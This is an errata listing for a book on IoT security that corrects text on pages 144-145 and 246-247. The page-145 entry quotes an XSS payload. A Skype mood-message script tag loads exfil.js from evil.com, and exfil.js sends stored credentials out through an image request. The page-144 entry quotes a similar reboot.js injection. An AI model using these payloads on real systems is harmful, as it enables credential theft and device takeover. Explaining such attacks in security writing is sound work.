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Abusing the Internet of Things

Errata for Abusing the Internet of Things

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Version Location Description Submitted By Date submitted Date corrected
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Page 145
Top of page

The URL on the second line of this section is incorrect:
The researchers took things further with a scenario in which the mood message of the malicious Skype user was the following:
<script src="http://tv.isecpartners.com/exfil.js"></script>
Now assume exfil.js contains JavaScript code like this:
creds = PluginAPIMgr.GetMyStorageInfo();
new Image().src="http://evil.com/"+creds;

It should actually read like so:
The researchers took things further with a scenario in which the mood message of the malicious Skype user was the following:
<script src="http:/evil.com/exfil.js"></script>
Now assume ex l.js contains JavaScript code like this:
creds = PluginAPIMgr.GetMyStorageInfo();
new Image().src="http://evil.com/"+creds;

dawnsft  Jan 21, 2016 
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Page 144
Middle of page

The URL on the second line of this section is incorrect:
Now imagine a mood message like the following:
<script src="http://tv.isecpartners.com/reboot.js"></script>
Suppose someone sent you a message on Skype with this as his mood message. You’d expect the app to actually display the mood message as <script src="http://evil.com/reboot.js"></script>.

Instead, it should read like this:
Now imagine a mood message like the following:
<script src="http://evil.com/reboot.js"></script>
Suppose someone sent you a message on Skype with this as his mood message. You’d expect the app to actually display the mood message as <script src="http://evil.com/reboot.js"></script>.

dawnsft  Jan 21, 2016 
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Page 246-247
Bottom of 246-top of 247

Some HTML formatting accidentally appears in this sentence:

"For example, tampering with an <span class="keep-together">individual’s</span> heart rate statistics..."

Should instead read like so:

"For example, tampering with an individual’s heart rate statistics..."

Note from the Author or Editor:
Agreed with submitter - this is accidental markup that can be removed.

Dawn  Jan 04, 2016